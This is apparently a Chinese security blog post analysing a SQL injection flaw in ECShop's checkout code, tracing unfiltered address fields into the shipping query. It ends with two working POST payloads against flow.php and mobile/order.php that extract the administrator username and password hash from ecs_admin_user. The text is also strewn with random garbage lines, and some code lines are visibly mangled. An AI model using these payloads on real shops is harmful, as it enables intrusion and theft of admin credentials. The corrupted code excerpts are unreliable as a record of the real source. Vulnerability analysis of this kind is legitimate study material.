ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
- s2 b7 S  {3 Q) f& _; P& N, N
    漏洞关键文件：
* p% n( n; C0 ~" c9 k9 E, O* Z6 r+ ]' F
    /includes/lib_order.php

    关键函数：
6 I' D) C3 Z- y- P. X+ c% d2 n$ N, i& v
: C/ K6 ?2 _( K

01     function available_shipping_list($region_id_list)
( i: i! \' V, o6 I/ X6 m" V1 S2 C
02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 v* b* a! m6 v* i, \6 v
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
9 ]" U& x+ ]. x( d) Y! x' P
, h8 ]5 M: L8 z) ~7 A05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
# ^4 G( z' u3 A9 z7 n
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

' V0 g5 I+ [: F9 ]07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
6 L3 E5 {- v  M+ n" i
10   
* j6 U! g/ J& f. @: H' K, E1 {
. B# W; E& y' S7 f) ?3 z11     return $GLOBALS['db']->getAll($sql);
" A) p6 y2 S1 a6 ]! p1 H
12 }

- e. v0 T( y: J& w, L显然对传入的参数没有任何过滤就带入了查询语句。
" C. ^9 _* d1 a# R3 t$ A. x
下面我们追踪这个函数在flow.php中：
$ h$ {/ W* G! s/ X8 l' X 第531行：   
) c! z. q6 U! P) X! C7 r
& f) |. q4 S5 X% r, A1 $shipping_list     = available_shipping_list($region);

$ }4 t' m2 W1 e- M
7 @1 J; g/ S8 E7 ], _

( j% X$ S: c  r% W2 H2 T
$ F. I0 z! B7 _, x( |2 s9 k* @再对传入变量进行追踪：

第530行：   
3 S" X) `# F7 y& E3 a  Z
( V8 g- O/ M; Y8 Y& u5 N3 \5 q1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);


  B# l% Z/ V9 V+ T: x6 ]0 m; N# h
2 p  I7 U- i3 G' ~9 j, s

/ w" W# r: M- M第473行：        

9 R( T: A! q1 k  n1 $consignee = get_consignee($_SESSION['user_id']);

; h: Z1 M) g, L到了一个关键函数：

/includes/lib_order.php
2 K7 I+ j( i6 k8 G
- c# {& ~( W7 L  z* I$ x, u7 {, T
& Y- h6 `3 P" d5 B
* X  o% }: O: K$ e4 v7 w
& c( G9 g% K5 n! l+ v
. O) Z. J& [2 P! R01 function get_consignee($user_id)

02 {

03     if (isset($_SESSION['flow_consignee']))

04     {

3 R6 s+ L/ K, b/ i05         /* 如果存在session，则直接返回session中的收货人信息 */
6 j( T: x3 M& A6 P
06   

, H3 G: P2 D9 W07         return $_SESSION['flow_consignee'];
6 ?2 [9 r7 Z) y0 P
08     }
! J8 Q8 |2 @' k3 ?
09     else

10     {

! W' y8 W2 c7 W% f3 _1 |( ^# A11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();

13   
% q& O& \) E7 \
2 P5 [* j* E& w5 \14         if ($user_id > 0)

/ W% w0 k6 k& ]) a# r  K) \9 O15         {
" @! \5 H/ H: E9 O* l  b  j
. b! @3 R( E0 y- O16             /* 取默认地址 */

, M: k; c/ q4 k6 m17             $sql = "SELECT ua.*".
+ }( o5 S7 C) W( }! H$ n
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
1 s+ m: D3 A' L/ Z
20   

21             $arr = $GLOBALS['db']->getRow($sql);
5 [2 V1 [$ T! }! T' ?1 M6 J
: Y, P% r3 J8 V+ \2 G; Y5 D22         }
4 p8 X( u3 B' l6 \8 F$ K! l" J
23   

0 U% L8 ~0 }9 S- g) R24         return $arr;
; A4 h" i$ y( W
25     }

26 }

" ?8 v6 M3 n1 e- R* g显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

0 w$ A9 g( `( r
0 Y" o6 |0 z& A6 m; r! [
关键点:

8 w  q! X3 g( J! b* ~- T第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
) X& i/ Q4 E3 f9 e1 T
) \7 G  h9 y" e, Y这里对传入参数反转义存入$_SESSION中。


0 t: r. l( D' a6 }
然后看下：
  c9 _7 a- I- E/ s' J; P

; y+ ^! B2 F1 W9 a) p8 t4 P
   
* S* _! U1 t' f* f- Z' D. L
01 $consignee = array(

" Q+ P& Q2 z. g- H02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

' R, r; K' ?* b03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
( M7 \; l% U4 m+ m
$ T6 ~, u- b! k% m% C8 f* b  p( g8 y04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

6 ], \7 D: O$ w% L8 S9 [05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

1 a9 |# e; G, Y06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

5 f: w- i- ?" b; Y: {. }9 K. Y4 ^07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

9 A7 N" u/ y( s( g! e% R  N1 s09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

# N, `0 s0 X" {& f1 v8 Q2 S" o/ R10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

, M* j5 W7 Z2 s9 `5 z' T, _11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
& |2 \1 Y+ {' c1 E: M3 u1 Z
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
' e" o9 }# T( }* O( z
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
8 h. m# e" R( ~7 u2 {* p/ p4 n
2 l1 |& G* n4 n& @8 o, y. X& \% Y14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

好了注入就这样出现了。
& I7 G, Z% I1 F" |& m3 }# }
==================
% N/ R4 n& c( J: J
% p' \4 s" A& ~; A( _" Q7 a& Y注入测试：
3 b4 b6 K$ M5 \* ]
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
& d0 ?- \8 g* V1 M
& v/ t; t5 M% @. v测试程序：ECShop_V2.7.3_UTF8_release1106
/ c8 q3 l/ U! w7 |. t9 m- t

1 m+ O0 o7 f  c+ d; ^6 x
1.首先需要点击一个商品加入购物车

2.注册一个会员帐号

# b) E8 X' J, I$ a+ M% E# S. n7 e7 x3.post提交数据
. N/ P2 h" P1 c# z  w3 \) I  i

1 P: m1 Y# l9 {3 A
: j9 r0 I/ X( O( R, L- K1 http://127.0.0.1/ecshop/flow.php
( @9 L/ |6 Q$ ~
8 H. W$ U* U" V" l( x2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
6 j4 O. L8 R4 Q4 k6 z
8 `- r: m' ?% `3 ~0 _& M1 d我们搜寻关键函数function available_shipping_list()
4 z  R& N+ r4 A4 V" K9 Z) z
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
% C% V$ b3 s+ E
8 ~! o2 l, B7 S* I) @利用exp:

1.点击一个商品，点击购买商标
9 J; O6 u( h  Q2 j& n9 F. w
% g" S4 c' A9 v! {' J9 b: a+ V2.登录会员帐号
: B0 d& S/ U: O6 _8 x' g* ?
3.post提交：

0 ^% a/ Q1 b- lhttp://127.0.0.1/ecshop/mobile/order.php
5 O/ [! W3 }/ v
; R6 i% a& Y" m* ]' c0 S+ T/ C" E+ @
5 @+ H2 t% ]2 c: ^
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

" J2 x- m" |& x+ _% [( s: I6 h